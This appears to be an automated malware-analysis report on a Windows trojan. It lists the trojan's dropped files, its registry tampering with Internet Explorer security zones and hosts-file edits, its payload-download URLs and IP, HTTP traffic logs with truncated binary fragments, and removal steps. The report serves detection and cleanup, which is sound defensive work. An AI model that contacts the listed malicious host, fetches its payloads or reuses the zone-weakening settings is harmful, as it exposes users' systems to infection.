MD5: 0942b3c92f1bc3e9b3426775c5b8bf2f
SHA1: 7cc3e50611a460a775db9798762d9659768c2ef4
SHA256: 44954ff128ce81688244511e4c1bd0514b1dbd385b793683d2a073105a9972b5
SSDeep: 24576:0LbmFQ0TiJqlvBW2eJZgPcf8KMgWavJPp5:03CxKvnl7BPL
Size: 1235968 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: Super PC Tools Ltd
Created at: 2015-06-22 16:38:47
Analyzed on: WindowsXP SP3 32-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

%original file name%.exe:312

The Malware injects its code into the following process(es):

update.exe:452

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:312 makes changes in the file system.
The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\136A0E64780C607A\027B007576157174\rigid.ini (8 bytes)
C:\update.exe (36656 bytes)
%System%\drivers\etc\hosts (257 bytes)

The process update.exe:452 makes changes in the file system.
The Malware creates and/or writes to the following file(s):

C:\Xiaomi.exe (72109 bytes)
C:\Interop.SHDocVw.dll (4563 bytes)
C:\AxInterop.SHDocVw.dll (981 bytes)

Registry activity

The process %original file name%.exe:312 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 0F BE 21 64 A5 11 00 24 85 92 A5 37 12 4B C0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"update.exe" = "update"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process update.exe:452 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 D8 D9 01 59 54 D4 6A BD A2 69 8E F1 02 24 8C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

Dropped PE files

HOSTS file anomalies

The Malware modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 257 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 1.2.3.4
Legal Copyright:
Legal Trademarks:
Original Filename: Xiaomi.exe
Internal Name: Xiaomi.exe
File Version: 1.2.3.4
File Description: Xiaomi
Comments:
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://andapondayellaraskalla.asia/predict/update/update.dll	103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/Xiaomi.dll	103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/AxInterop.SHDocVw.dll	103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/Interop.SHDocVw.dll	103.21.58.98

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /predict/update/Xiaomi.dll HTTP/1.1

Host: andapondayellaraskalla.asia

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:18:56 GMT

Accept-Ranges: bytes

ETag: "d91168aaacb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:42 GMT

Content-Length: 1246208
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L....[.U
.....................D.......`...`... ....@.. ........................
[email protected].... ..x...........
.........@.......................................................`....
...........`..H.............j..}"..5... [email protected]
t........`.......:.............. ..`.rsrc...x.... ....................
..@[email protected].......@[email protected].............`..........
............ ..`......................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................k2......mA].8b.C...0.
*4.d.....#....L%j.m%.0H;....T=.F..'.Y....v=..~....^..I....#....M..Y...
s..t.q..9p.o.Y...6..O..>.x-...x/..HpFFx....=14.r i.2.zW.....[..F.5.
.~..z.x..8.!-._...C.W..........l.....L.<......-.w..t...........#.}.
.."...[BG@ .G..2...#.2U.....I.P....-X.eSum..3HOa..8....x..n.....[.....
R.R..{..{.e.......'.r..:.....wPu..@{.'.T...N.0....l8.n.4...LN....i.4Y.
.Cqn.=..*f#..nk..........-}#.0..So......i.X..e....x..M......W.Q...[..o
l...K..X..d.....K?.]... ...P.L....L)......z..pS..\...`N.Lz..NE{.G.
<<< skipped >>>

GET /predict/update/AxInterop.SHDocVw.dll HTTP/1.1

Host: andapondayellaraskalla.asia

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:19:11 GMT

Accept-Ranges: bytes

ETag: "b363ab3acb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:49 GMT

Content-Length: 45056
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L....E.T
...........!......... ........... ........@.. ........................
[email protected]...................
................................................................. ....
........... ..H............text....y... ...................... ..`.rsr
c...............................@[email protected]............................
[email protected]................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /predict/update/Interop.SHDocVw.dll HTTP/1.1

Host: andapondayellaraskalla.asia

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:19:11 GMT

Accept-Ranges: bytes

ETag: "e96229b3acb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:52 GMT

Content-Length: 131072
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L....E.T
...........!......... ........... ........@.. .......................@
[email protected]...........
......... ....................................................... ....
........... ..H............text........ ...................... ..`.rsr
c...h...........................@[email protected]....... ....................
[email protected]................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
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......................................................................
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......................................................................
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<<< skipped >>>

GET /predict/update/update.dll HTTP/1.1

Host: andapondayellaraskalla.asia

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Thu, 30 Apr 2015 11:45:55 GMT

Accept-Ranges: bytes

ETag: "fee585373b83d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:37 GMT

Content-Length: 477184
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....BU
.................<...........Z... ........@.. .....................
[email protected]....`...........
.................................................................... .
.............. ..H............text....;... ...<.................. .
.`.rsrc........`.......>..............@[email protected]...
[email protected](..........X .....
..........................................0..........(....(.......(...
..o....*......................(......o......o......o......o....*...F.(
....o....o....*....(....*.s.........s.........s.........s.........s...
......*.0..........~....o....*..0..........~....o....*..0..........~..
..o....*..0..........~....o....*..0..........~....o....*..0...........
.{....(... }.....{....*...{....3.*.,.r...ps....z..|....o... *...0.....
...........,.........o....9....~....,,~.........( ...o!..., rI..p.....
.("...s#...zs$........~.........( ....o%...(... ..lu....%-.&. .%.('...
.o(..............&r...p..........o(...o).....("......o(...s*...z~.....
....( ...o .... ..*.*........l..../t.....l.[........0.................
o,..................*..(-...*.0............(....(/...*....0...........
(0...*..0...............( ...*..0...........(1...*..0............(....
(/...*....0...........(0...*..0...............( ...*..0...........(1..
.*..0................-.(... *.*.0.........................*..(-...
<<< skipped >>>

The Malware connects to the servers at the folowing location(s):

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:312
   

2. Delete the original Malware file.
   
3. Delete or disinfect the following files created/modified by the Malware:
   

   %Documents and Settings%\%current user%\Application Data\136A0E64780C607A\027B007576157174\rigid.ini (8 bytes)
   C:\update.exe (36656 bytes)
   %System%\drivers\etc\hosts (257 bytes)
   C:\Xiaomi.exe (72109 bytes)
   C:\Interop.SHDocVw.dll (4563 bytes)
   C:\AxInterop.SHDocVw.dll (981 bytes)

4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.